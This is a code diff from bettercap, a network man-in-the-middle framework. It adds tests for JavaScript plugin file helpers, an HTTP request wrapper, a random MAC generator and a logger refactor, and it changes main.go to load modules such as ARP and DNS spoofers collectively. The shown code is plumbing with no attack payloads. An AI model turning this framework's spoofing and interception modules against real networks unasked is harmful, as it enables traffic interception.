if result.IsUndefined() {
t.Fatal("readDir returned undefined for empty directory")
}
export, _ := result.Export()
entries, _ := export.([]string)
if len(entries) != 0 {
t.Errorf("expected 0 entries for empty directory, got %d", len(entries))
}
})
}
func TestReadFile(t *testing.T) {
vm := otto.New()
// Create a temporary directory for testing
tmpDir, err := ioutil.TempDir("", "js_test_readfile_*")
if err != nil {
t.Fatalf("failed to create temp dir: %v", err)
}
defer os.RemoveAll(tmpDir)
t.Run("valid file", func(t *testing.T) {
testContent := "Hello, World!\nThis is a test file.\n特殊字符测试 🌍"
testFile := filepath.Join(tmpDir, "test.txt")
ioutil.WriteFile(testFile, []byte(testContent), 0644)
arg, _ := vm.ToValue(testFile)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := readFile(call)
if result.IsUndefined() {
t.Fatal("readFile returned undefined")
}
content, err := result.ToString()
if err != nil {
t.Fatalf("failed to convert result to string: %v", err)
}
if content != testContent {
t.Errorf("expected content %q, got %q", testContent, content)
}
})
t.Run("non-existent file", func(t *testing.T) {
arg, _ := vm.ToValue("/path/that/does/not/exist.txt")
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := readFile(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined for non-existent file")
}
})
t.Run("directory instead of file", func(t *testing.T) {
arg, _ := vm.ToValue(tmpDir)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := readFile(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined when passing directory instead of file")
}
})
t.Run("empty file", func(t *testing.T) {
emptyFile := filepath.Join(tmpDir, "empty.txt")
ioutil.WriteFile(emptyFile, []byte(""), 0644)
arg, _ := vm.ToValue(emptyFile)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := readFile(call)
if result.IsUndefined() {
t.Fatal("readFile returned undefined for empty file")
}
content, _ := result.ToString()
if content != "" {
t.Errorf("expected empty string, got %q", content)
}
})
t.Run("binary file", func(t *testing.T) {
binaryContent := []byte{0, 1, 2, 3, 255, 254, 253, 252}
binaryFile := filepath.Join(tmpDir, "binary.bin")
ioutil.WriteFile(binaryFile, binaryContent, 0644)
arg, _ := vm.ToValue(binaryFile)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := readFile(call)
if result.IsUndefined() {
t.Fatal("readFile returned undefined for binary file")
}
content, _ := result.ToString()
if content != string(binaryContent) {
t.Error("binary content mismatch")
}
})
t.Run("invalid arguments", func(t *testing.T) {
tests := []struct {
name string
args []otto.Value
}{
{
name: "no arguments",
args: []otto.Value{},
},
{
name: "too many arguments",
args: func() []otto.Value {
arg1, _ := vm.ToValue("file.txt")
arg2, _ := vm.ToValue("extra")
return []otto.Value{arg1, arg2}
}(),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
call := otto.FunctionCall{
ArgumentList: tt.args,
}
result := readFile(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined for invalid arguments")
}
})
}
})
t.Run("large file", func(t *testing.T) {
// Create a 1MB file
largeContent := strings.Repeat("A", 1024*1024)
largeFile := filepath.Join(tmpDir, "large.txt")
ioutil.WriteFile(largeFile, []byte(largeContent), 0644)
arg, _ := vm.ToValue(largeFile)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := readFile(call)
if result.IsUndefined() {
t.Fatal("readFile returned undefined for large file")
}
content, _ := result.ToString()
if len(content) != len(largeContent) {
t.Errorf("expected content length %d, got %d", len(largeContent), len(content))
}
})
}
func TestWriteFile(t *testing.T) {
vm := otto.New()
// Create a temporary directory for testing
tmpDir, err := ioutil.TempDir("", "js_test_writefile_*")
if err != nil {
t.Fatalf("failed to create temp dir: %v", err)
}
defer os.RemoveAll(tmpDir)
t.Run("write new file", func(t *testing.T) {
testFile := filepath.Join(tmpDir, "new_file.txt")
testContent := "Hello, World!\nThis is a new file.\n特殊字符测试 🌍"
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue(testContent)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
result := writeFile(call)
// writeFile returns null on success
if !result.IsNull() {
t.Error("expected null return value for successful write")
}
// Verify file was created with correct content
content, err := ioutil.ReadFile(testFile)
if err != nil {
t.Fatalf("failed to read written file: %v", err)
}
if string(content) != testContent {
t.Errorf("expected content %q, got %q", testContent, string(content))
}
// Check file permissions
info, _ := os.Stat(testFile)
if runtime.GOOS == "windows" {
// On Windows, permissions are different - just check that file exists and is readable
if info.Mode()&0400 == 0 {
t.Error("expected file to be readable on Windows")
}
} else {
// On Unix-like systems, check exact permissions
if info.Mode().Perm() != 0644 {
t.Errorf("expected permissions 0644, got %v", info.Mode().Perm())
}
}
})
t.Run("overwrite existing file", func(t *testing.T) {
testFile := filepath.Join(tmpDir, "existing.txt")
oldContent := "Old content"
newContent := "New content that is longer than the old content"
// Create initial file
ioutil.WriteFile(testFile, []byte(oldContent), 0644)
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue(newContent)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
result := writeFile(call)
if !result.IsNull() {
t.Error("expected null return value for successful write")
}
// Verify file was overwritten
content, _ := ioutil.ReadFile(testFile)
if string(content) != newContent {
t.Errorf("expected content %q, got %q", newContent, string(content))
}
})
t.Run("write to non-existent directory", func(t *testing.T) {
testFile := filepath.Join(tmpDir, "nonexistent", "subdir", "file.txt")
testContent := "test"
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue(testContent)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
result := writeFile(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined when writing to non-existent directory")
}
})
t.Run("write empty content", func(t *testing.T) {
testFile := filepath.Join(tmpDir, "empty.txt")
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue("")
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
result := writeFile(call)
if !result.IsNull() {
t.Error("expected null return value for successful write")
}
// Verify empty file was created
content, _ := ioutil.ReadFile(testFile)
if len(content) != 0 {
t.Errorf("expected empty file, got %d bytes", len(content))
}
})
t.Run("invalid arguments", func(t *testing.T) {
tests := []struct {
name string
args []otto.Value
}{
{
name: "no arguments",
args: []otto.Value{},
},
{
name: "one argument",
args: func() []otto.Value {
arg, _ := vm.ToValue("file.txt")
return []otto.Value{arg}
}(),
},
{
name: "too many arguments",
args: func() []otto.Value {
arg1, _ := vm.ToValue("file.txt")
arg2, _ := vm.ToValue("content")
arg3, _ := vm.ToValue("extra")
return []otto.Value{arg1, arg2, arg3}
}(),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
call := otto.FunctionCall{
ArgumentList: tt.args,
}
result := writeFile(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined for invalid arguments")
}
})
}
})
t.Run("write binary content", func(t *testing.T) {
testFile := filepath.Join(tmpDir, "binary.bin")
binaryContent := string([]byte{0, 1, 2, 3, 255, 254, 253, 252})
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue(binaryContent)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
result := writeFile(call)
if !result.IsNull() {
t.Error("expected null return value for successful write")
}
// Verify binary content
content, _ := ioutil.ReadFile(testFile)
if string(content) != binaryContent {
t.Error("binary content mismatch")
}
})
}
func TestFileSystemIntegration(t *testing.T) {
vm := otto.New()
// Create a temporary directory for testing
tmpDir, err := ioutil.TempDir("", "js_test_integration_*")
if err != nil {
t.Fatalf("failed to create temp dir: %v", err)
}
defer os.RemoveAll(tmpDir)
t.Run("write then read file", func(t *testing.T) {
testFile := filepath.Join(tmpDir, "roundtrip.txt")
testContent := "Round-trip test content\nLine 2\nLine 3"
// Write file
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue(testContent)
writeCall := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
writeResult := writeFile(writeCall)
if !writeResult.IsNull() {
t.Fatal("write failed")
}
// Read file back
readCall := otto.FunctionCall{
ArgumentList: []otto.Value{argFile},
}
readResult := readFile(readCall)
if readResult.IsUndefined() {
t.Fatal("read failed")
}
readContent, _ := readResult.ToString()
if readContent != testContent {
t.Errorf("round-trip failed: expected %q, got %q", testContent, readContent)
}
})
t.Run("create files then list directory", func(t *testing.T) {
// Create multiple files
files := []string{"file1.txt", "file2.txt", "file3.txt"}
for _, name := range files {
path := filepath.Join(tmpDir, name)
argFile, _ := vm.ToValue(path)
argContent, _ := vm.ToValue("content of " + name)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
writeFile(call)
}
// List directory
argDir, _ := vm.ToValue(tmpDir)
listCall := otto.FunctionCall{
Otto: vm,
ArgumentList: []otto.Value{argDir},
}
listResult := readDir(listCall)
if listResult.IsUndefined() {
t.Fatal("readDir failed")
}
export, _ := listResult.Export()
entries, _ := export.([]string)
// Check all files are listed
for _, expected := range files {
found := false
for _, entry := range entries {
if entry == expected {
found = true
break
}
}
if !found {
t.Errorf("expected file %s not found in directory listing", expected)
}
}
})
}
func BenchmarkReadFile(b *testing.B) {
vm := otto.New()
// Create test file
tmpFile, _ := ioutil.TempFile("", "bench_readfile_*")
defer os.Remove(tmpFile.Name())
content := strings.Repeat("Benchmark test content line\n", 100)
ioutil.WriteFile(tmpFile.Name(), []byte(content), 0644)
arg, _ := vm.ToValue(tmpFile.Name())
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = readFile(call)
}
}
func BenchmarkWriteFile(b *testing.B) {
vm := otto.New()
tmpDir, _ := ioutil.TempDir("", "bench_writefile_*")
defer os.RemoveAll(tmpDir)
content := strings.Repeat("Benchmark test content line\n", 100)
b.ResetTimer()
for i := 0; i < b.N; i++ {
testFile := filepath.Join(tmpDir, fmt.Sprintf("bench_%d.txt", i))
argFile, _ := vm.ToValue(testFile)
argContent, _ := vm.ToValue(content)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argFile, argContent},
}
_ = writeFile(call)
}
}
func BenchmarkReadDir(b *testing.B) {
vm := otto.New()
// Create test directory with files
tmpDir, _ := ioutil.TempDir("", "bench_readdir_*")
defer os.RemoveAll(tmpDir)
// Create 100 files
for i := 0; i < 100; i++ {
name := filepath.Join(tmpDir, fmt.Sprintf("file_%d.txt", i))
ioutil.WriteFile(name, []byte("test"), 0644)
}
arg, _ := vm.ToValue(tmpDir)
call := otto.FunctionCall{
Otto: vm,
ArgumentList: []otto.Value{arg},
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = readDir(call)
}
}

155
js/http.go Normal file
View file

@ -0,0 +1,155 @@
package js
import (
"bytes"
"fmt"
"io"
"net/http"
"net/url"
"strings"
"github.com/robertkrimen/otto"
)
type httpPackage struct {
}
type httpResponse struct {
Error error
Response *http.Response
Raw []byte
Body string
JSON interface{}
}
func (c httpPackage) Encode(s string) string {
return url.QueryEscape(s)
}
func (c httpPackage) Request(method string, uri string,
headers map[string]string,
form map[string]string,
json string) httpResponse {
var reader io.Reader
if form != nil {
data := url.Values{}
for k, v := range form {
data.Set(k, v)
}
reader = bytes.NewBufferString(data.Encode())
} else if json != "" {
reader = strings.NewReader(json)
}
req, err := http.NewRequest(method, uri, reader)
if err != nil {
return httpResponse{Error: err}
}
if form != nil {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
} else if json != "" {
req.Header.Set("Content-Type", "application/json")
}
for name, value := range headers {
req.Header.Add(name, value)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return httpResponse{Error: err}
}
defer resp.Body.Close()
raw, err := io.ReadAll(resp.Body)
if err != nil {
return httpResponse{Error: err}
}
res := httpResponse{
Response: resp,
Raw: raw,
Body: string(raw),
}
if resp.StatusCode != http.StatusOK {
res.Error = fmt.Errorf("%s", resp.Status)
}
return res
}
func (c httpPackage) Get(url string, headers map[string]string) httpResponse {
return c.Request("GET", url, headers, nil, "")
}
func (c httpPackage) PostForm(url string, headers map[string]string, form map[string]string) httpResponse {
return c.Request("POST", url, headers, form, "")
}
func (c httpPackage) PostJSON(url string, headers map[string]string, json string) httpResponse {
return c.Request("POST", url, headers, nil, json)
}
func httpRequest(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc < 2 {
return ReportError("httpRequest: expected 2 or more, %d given instead.", argc)
}
method := argv[0].String()
url := argv[1].String()
client := &http.Client{}
req, err := http.NewRequest(method, url, nil)
if argc >= 3 {
data := argv[2].String()
req, err = http.NewRequest(method, url, bytes.NewBuffer([]byte(data)))
if err != nil {
return ReportError("Could create request to url %s: %s", url, err)
}
if argc > 3 {
headers := argv[3].Object()
for _, key := range headers.Keys() {
v, err := headers.Get(key)
if err != nil {
return ReportError("Could add header %s to request: %s", key, err)
}
req.Header.Add(key, v.String())
}
}
} else if err != nil {
return ReportError("Could create request to url %s: %s", url, err)
}
resp, err := client.Do(req)
if err != nil {
return ReportError("Could not request url %s: %s", url, err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return ReportError("Could not read response: %s", err)
}
object, err := otto.New().Object("({})")
if err != nil {
return ReportError("Could not create response object: %s", err)
}
err = object.Set("body", string(body))
if err != nil {
return ReportError("Could not populate response object: %s", err)
}
v, err := otto.ToValue(object)
if err != nil {
return ReportError("Could not convert to object: %s", err)
}
return v
}

45
js/init.go Normal file
View file

@ -0,0 +1,45 @@
package js
import (
"github.com/evilsocket/islazy/log"
"github.com/evilsocket/islazy/plugin"
"github.com/robertkrimen/otto"
)
var NullValue = otto.Value{}
func ReportError(format string, args ...interface{}) otto.Value {
log.Error(format, args...)
return NullValue
}
func init() {
// TODO: refactor this in packages
plugin.Defines["readDir"] = readDir
plugin.Defines["readFile"] = readFile
plugin.Defines["writeFile"] = writeFile
plugin.Defines["log"] = flog
plugin.Defines["log_debug"] = log_debug
plugin.Defines["log_info"] = log_info
plugin.Defines["log_warn"] = log_warn
plugin.Defines["log_error"] = log_error
plugin.Defines["log_fatal"] = log_fatal
plugin.Defines["Crypto"] = map[string]interface{}{
"sha1": cryptoSha1,
}
plugin.Defines["btoa"] = btoa
plugin.Defines["atob"] = atob
plugin.Defines["gzipCompress"] = gzipCompress
plugin.Defines["gzipDecompress"] = gzipDecompress
plugin.Defines["textEncode"] = textEncode
plugin.Defines["textDecode"] = textDecode
plugin.Defines["httpRequest"] = httpRequest
plugin.Defines["http"] = httpPackage{}
plugin.Defines["random"] = randomPackage{}
}

48
js/log.go Normal file
View file

@ -0,0 +1,48 @@
package js
import (
"github.com/evilsocket/islazy/log"
"github.com/robertkrimen/otto"
)
func flog(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Info("%s", v.String())
}
return otto.Value{}
}
func log_debug(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Debug("%s", v.String())
}
return otto.Value{}
}
func log_info(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Info("%s", v.String())
}
return otto.Value{}
}
func log_warn(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Warning("%s", v.String())
}
return otto.Value{}
}
func log_error(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Error("%s", v.String())
}
return otto.Value{}
}
func log_fatal(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Fatal("%s", v.String())
}
return otto.Value{}
}

27
js/random.go Normal file
View file

@ -0,0 +1,27 @@
package js
import (
"math/rand"
"net"
"github.com/bettercap/bettercap/v2/network"
)
type randomPackage struct {
}
func (c randomPackage) String(size int, charset string) string {
runes := []rune(charset)
nrunes := len(runes)
buf := make([]rune, size)
for i := range buf {
buf[i] = runes[rand.Intn(nrunes)]
}
return string(buf)
}
func (c randomPackage) Mac() string {
hw := make([]byte, 6)
rand.Read(hw)
return network.NormalizeMac(net.HardwareAddr(hw).String())
}

307
js/random_test.go Normal file
View file

@ -0,0 +1,307 @@
package js
import (
"net"
"regexp"
"strings"
"testing"
)
func TestRandomString(t *testing.T) {
r := randomPackage{}
tests := []struct {
name string
size int
charset string
}{
{
name: "alphanumeric",
size: 10,
charset: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
},
{
name: "numbers only",
size: 20,
charset: "0123456789",
},
{
name: "lowercase letters",
size: 15,
charset: "abcdefghijklmnopqrstuvwxyz",
},
{
name: "uppercase letters",
size: 8,
charset: "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
},
{
name: "special characters",
size: 12,
charset: "!@#$%^&*()_+-=[]{}|;:,.<>?",
},
{
name: "unicode characters",
size: 5,
charset: "αβγδεζηθικλμνξοπρστυφχψω",
},
{
name: "mixed unicode and ascii",
size: 10,
charset: "abc123αβγ",
},
{
name: "single character",
size: 100,
charset: "a",
},
{
name: "empty size",
size: 0,
charset: "abcdef",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := r.String(tt.size, tt.charset)
// Check length
if len([]rune(result)) != tt.size {
t.Errorf("expected length %d, got %d", tt.size, len([]rune(result)))
}
// Check that all characters are from the charset
for _, char := range result {
if !strings.ContainsRune(tt.charset, char) {
t.Errorf("character %c not in charset %s", char, tt.charset)
}
}
})
}
}
func TestRandomStringDistribution(t *testing.T) {
r := randomPackage{}
charset := "ab"
size := 1000
// Generate many single-character strings
counts := make(map[rune]int)
for i := 0; i < size; i++ {
result := r.String(1, charset)
if len(result) == 1 {
counts[rune(result[0])]++
}
}
// Check that both characters appear (very high probability)
if len(counts) != 2 {
t.Errorf("expected both characters to appear, got %d unique characters", len(counts))
}
// Check distribution is reasonable (not perfect due to randomness)
for char, count := range counts {
ratio := float64(count) / float64(size)
if ratio < 0.3 || ratio > 0.7 {
t.Errorf("character %c appeared %d times (%.2f%%), expected around 50%%",
char, count, ratio*100)
}
}
}
func TestRandomMac(t *testing.T) {
r := randomPackage{}
macRegex := regexp.MustCompile(`^([0-9a-f]{2}:){5}[0-9a-f]{2}$`)
// Generate multiple MAC addresses
macs := make(map[string]bool)
for i := 0; i < 100; i++ {
mac := r.Mac()
// Check format
if !macRegex.MatchString(mac) {
t.Errorf("invalid MAC format: %s", mac)
}
// Check it's a valid MAC
_, err := net.ParseMAC(mac)
if err != nil {
t.Errorf("invalid MAC address: %s, error: %v", mac, err)
}
// Store for uniqueness check
macs[mac] = true
}
// Check that we get different MACs (very high probability)
if len(macs) < 95 {
t.Errorf("expected at least 95 unique MACs out of 100, got %d", len(macs))
}
}
func TestRandomMacNormalization(t *testing.T) {
r := randomPackage{}
// Generate several MACs and check they're normalized
for i := 0; i < 10; i++ {
mac := r.Mac()
// Check lowercase
if mac != strings.ToLower(mac) {
t.Errorf("MAC not normalized to lowercase: %s", mac)
}
// Check separator is colon
if strings.Contains(mac, "-") {
t.Errorf("MAC contains hyphen instead of colon: %s", mac)
}
// Check length
if len(mac) != 17 { // 6 bytes * 2 chars + 5 colons
t.Errorf("MAC has wrong length: %s (len=%d)", mac, len(mac))
}
}
}
func TestRandomStringEdgeCases(t *testing.T) {
r := randomPackage{}
// Test with various edge cases
tests := []struct {
name string
size int
charset string
}{
{
name: "zero size",
size: 0,
charset: "abc",
},
{
name: "very large size",
size: 10000,
charset: "abc",
},
{
name: "size larger than charset",
size: 10,
charset: "ab",
},
{
name: "single char charset with large size",
size: 1000,
charset: "x",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := r.String(tt.size, tt.charset)
if len([]rune(result)) != tt.size {
t.Errorf("expected length %d, got %d", tt.size, len([]rune(result)))
}
// Check all characters are from charset
for _, c := range result {
if !strings.ContainsRune(tt.charset, c) {
t.Errorf("character %c not in charset %s", c, tt.charset)
}
}
})
}
}
func TestRandomStringNegativeSize(t *testing.T) {
r := randomPackage{}
// Test that negative size causes panic
defer func() {
if r := recover(); r == nil {
t.Error("expected panic for negative size but didn't get one")
}
}()
// This should panic
_ = r.String(-1, "abc")
}
func TestRandomPackageInstance(t *testing.T) {
// Test that we can create multiple instances
r1 := randomPackage{}
r2 := randomPackage{}
// Both should work independently
s1 := r1.String(5, "abc")
s2 := r2.String(5, "xyz")
if len(s1) != 5 {
t.Errorf("r1.String returned wrong length: %d", len(s1))
}
if len(s2) != 5 {
t.Errorf("r2.String returned wrong length: %d", len(s2))
}
// Check correct charset usage
for _, c := range s1 {
if !strings.ContainsRune("abc", c) {
t.Errorf("r1 produced character outside charset: %c", c)
}
}
for _, c := range s2 {
if !strings.ContainsRune("xyz", c) {
t.Errorf("r2 produced character outside charset: %c", c)
}
}
}
func BenchmarkRandomString(b *testing.B) {
r := randomPackage{}
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b.Run("size-10", func(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = r.String(10, charset)
}
})
b.Run("size-100", func(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = r.String(100, charset)
}
})
b.Run("size-1000", func(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = r.String(1000, charset)
}
})
}
func BenchmarkRandomMac(b *testing.B) {
r := randomPackage{}
for i := 0; i < b.N; i++ {
_ = r.Mac()
}
}
func BenchmarkRandomStringCharsets(b *testing.B) {
r := randomPackage{}
charsets := map[string]string{
"small": "abc",
"medium": "abcdefghijklmnopqrstuvwxyz",
"large": "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?",
"unicode": "αβγδεζηθικλμνξοπρστυφχψωABCDEFGHIJKLMNOPQRSTUVWXYZ",
}
for name, charset := range charsets {
b.Run(name, func(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = r.String(20, charset)
}
})
}
}

View file

@ -1,26 +1,39 @@
package log package log
import ( import (
"github.com/bettercap/bettercap/core" "github.com/evilsocket/islazy/log"
"github.com/bettercap/bettercap/session"
) )
type logFunction func(level log.Verbosity, format string, args ...interface{})
var Logger = (logFunction)(nil)
func Debug(format string, args ...interface{}) { func Debug(format string, args ...interface{}) {
session.I.Events.Log(core.DEBUG, format, args...) if Logger != nil {
Logger(log.DEBUG, format, args...)
}
} }
func Info(format string, args ...interface{}) { func Info(format string, args ...interface{}) {
session.I.Events.Log(core.INFO, format, args...) if Logger != nil {
Logger(log.INFO, format, args...)
}
} }
func Warning(format string, args ...interface{}) { func Warning(format string, args ...interface{}) {
session.I.Events.Log(core.WARNING, format, args...) if Logger != nil {
Logger(log.WARNING, format, args...)
}
} }
func Error(format string, args ...interface{}) { func Error(format string, args ...interface{}) {
session.I.Events.Log(core.ERROR, format, args...) if Logger != nil {
Logger(log.ERROR, format, args...)
}
} }
func Fatal(format string, args ...interface{}) { func Fatal(format string, args ...interface{}) {
session.I.Events.Log(core.FATAL, format, args...) if Logger != nil {
Logger(log.FATAL, format, args...)
}
} }

106
log/log_test.go Normal file
View file

@ -0,0 +1,106 @@
package log
import (
"testing"
"github.com/evilsocket/islazy/log"
)
var called bool
var calledLevel log.Verbosity
var calledFormat string
var calledArgs []interface{}
func mockLogger(level log.Verbosity, format string, args ...interface{}) {
called = true
calledLevel = level
calledFormat = format
calledArgs = args
}
func reset() {
called = false
calledLevel = log.DEBUG
calledFormat = ""
calledArgs = nil
}
func TestLoggerNil(t *testing.T) {
reset()
Logger = nil
Debug("test")
if called {
t.Error("Debug should not call if Logger is nil")
}
Info("test")
if called {
t.Error("Info should not call if Logger is nil")
}
Warning("test")
if called {
t.Error("Warning should not call if Logger is nil")
}
Error("test")
if called {
t.Error("Error should not call if Logger is nil")
}
Fatal("test")
if called {
t.Error("Fatal should not call if Logger is nil")
}
}
func TestDebug(t *testing.T) {
reset()
Logger = mockLogger
Debug("test %d", 42)
if !called || calledLevel != log.DEBUG || calledFormat != "test %d" || len(calledArgs) != 1 || calledArgs[0] != 42 {
t.Errorf("Debug not called correctly: level=%v format=%s args=%v", calledLevel, calledFormat, calledArgs)
}
}
func TestInfo(t *testing.T) {
reset()
Logger = mockLogger
Info("test %s", "info")
if !called || calledLevel != log.INFO || calledFormat != "test %s" || len(calledArgs) != 1 || calledArgs[0] != "info" {
t.Errorf("Info not called correctly: level=%v format=%s args=%v", calledLevel, calledFormat, calledArgs)
}
}
func TestWarning(t *testing.T) {
reset()
Logger = mockLogger
Warning("test %f", 3.14)
if !called || calledLevel != log.WARNING || calledFormat != "test %f" || len(calledArgs) != 1 || calledArgs[0] != 3.14 {
t.Errorf("Warning not called correctly: level=%v format=%s args=%v", calledLevel, calledFormat, calledArgs)
}
}
func TestError(t *testing.T) {
reset()
Logger = mockLogger
Error("test error")
if !called || calledLevel != log.ERROR || calledFormat != "test error" || len(calledArgs) != 0 {
t.Errorf("Error not called correctly: level=%v format=%s args=%v", calledLevel, calledFormat, calledArgs)
}
}
func TestFatal(t *testing.T) {
reset()
Logger = mockLogger
Fatal("test fatal")
if !called || calledLevel != log.FATAL || calledFormat != "test fatal" || len(calledArgs) != 0 {
t.Errorf("Fatal not called correctly: level=%v format=%s args=%v", calledLevel, calledFormat, calledArgs)
}
}

87
main.go
View file

@ -4,11 +4,17 @@ import (
"fmt" "fmt"
"io" "io"
"os" "os"
"strings"
"github.com/bettercap/bettercap/core" "runtime"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/modules" "github.com/bettercap/bettercap/v2/core"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/v2/log"
"github.com/bettercap/bettercap/v2/modules"
"github.com/bettercap/bettercap/v2/session"
"github.com/evilsocket/islazy/str"
"github.com/evilsocket/islazy/tui"
) )
func main() { func main() {
@ -19,67 +25,53 @@ func main() {
} }
defer sess.Close() defer sess.Close()
if core.HasColors == false { if !tui.Effects() {
if *sess.Options.NoColors == true { if *sess.Options.NoColors {
fmt.Printf("\n\nWARNING: Terminal colors have been disabled, view will be very limited.\n\n") fmt.Printf("\n\nWARNING: Terminal colors have been disabled, view will be very limited.\n\n")
} else { } else {
fmt.Printf("\n\nWARNING: This terminal does not support colors, view will be very limited.\n\n") fmt.Printf("\n\nWARNING: This terminal does not support colors, view will be very limited.\n\n")
} }
} }
if *sess.Options.PrintVersion {
fmt.Printf("%s v%s (built for %s %s with %s)\n", core.Name, core.Version, runtime.GOOS, runtime.GOARCH, runtime.Version())
return
}
appName := fmt.Sprintf("%s v%s", core.Name, core.Version) appName := fmt.Sprintf("%s v%s", core.Name, core.Version)
appBuild := fmt.Sprintf("(built for %s %s with %s)", runtime.GOOS, runtime.GOARCH, runtime.Version())
fmt.Printf("%s (type '%s' for a list of commands)\n\n", core.Bold(appName), core.Bold("help")) fmt.Printf("%s %s [type '%s' for a list of commands]\n\n", tui.Bold(appName), tui.Dim(appBuild), tui.Bold("help"))
sess.Register(modules.NewEventsStream(sess)) // Load all modules
sess.Register(modules.NewTicker(sess)) modules.LoadModules(sess)
sess.Register(modules.NewUpdateModule(sess))
sess.Register(modules.NewMacChanger(sess))
sess.Register(modules.NewProber(sess))
sess.Register(modules.NewDiscovery(sess))
sess.Register(modules.NewArpSpoofer(sess))
sess.Register(modules.NewDHCP6Spoofer(sess))
sess.Register(modules.NewDNSSpoofer(sess))
sess.Register(modules.NewSniffer(sess))
sess.Register(modules.NewPacketProxy(sess))
sess.Register(modules.NewTcpProxy(sess))
sess.Register(modules.NewHttpProxy(sess))
sess.Register(modules.NewHttpsProxy(sess))
sess.Register(modules.NewHttpServer(sess))
sess.Register(modules.NewRestAPI(sess))
sess.Register(modules.NewWOL(sess))
sess.Register(modules.NewWiFiModule(sess))
sess.Register(modules.NewBLERecon(sess))
sess.Register(modules.NewSynScanner(sess))
sess.Register(modules.NewGPS(sess))
sess.Register(modules.NewMySQLServer(sess))
if err = sess.Start(); err != nil { if err = sess.Start(); err != nil {
log.Fatal("%s", err) log.Fatal("%s", err)
} }
// Some modules are enabled by default in order
// to make the interactive session useful.
for _, modName := range str.Comma(*sess.Options.AutoStart) {
if err = sess.Run(modName + " on"); err != nil {
log.Fatal("error while starting module %s: %s", modName, err)
}
}
// Commands sent with -eval are used to set specific // Commands sent with -eval are used to set specific
// caplet parameters (i.e. arp.spoof.targets) via command // caplet parameters (i.e. arp.spoof.targets) via command
// line, therefore they need to be executed first otherwise // line, therefore they need to be executed first otherwise
// modules might already be started. // modules might already be started.
for _, cmd := range session.ParseCommands(*sess.Options.Commands) { for _, cmd := range session.ParseCommands(*sess.Options.Commands) {
if err = sess.Run(cmd); err != nil { if err = sess.Run(cmd); err != nil {
log.Error("Error while running '%s': %s", core.Bold(cmd), core.Red(err.Error())) log.Error("error while running '%s': %s", tui.Bold(cmd), tui.Red(err.Error()))
}
}
// Some modules are enabled by default in order
// to make the interactive session useful.
for _, modName := range core.CommaSplit(*sess.Options.AutoStart) {
if err = sess.Run(modName + " on"); err != nil {
log.Fatal("Error while starting module %s: %s", modName, err)
} }
} }
// Then run the caplet if specified. // Then run the caplet if specified.
if *sess.Options.Caplet != "" { if *sess.Options.Caplet != "" {
if err = sess.RunCaplet(*sess.Options.Caplet); err != nil { if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {
log.Error("Error while running caplet %s: %s", core.Bold(*sess.Options.Caplet), core.Red(err.Error())) log.Error("error while running caplet %s: %s", tui.Bold(*sess.Options.Caplet), tui.Red(err.Error()))
} }
} }
@ -87,10 +79,15 @@ func main() {
for sess.Active { for sess.Active {
line, err := sess.ReadLine() line, err := sess.ReadLine()
if err != nil { if err != nil {
if err == io.EOF { if err == io.EOF || err.Error() == "Interrupt" {
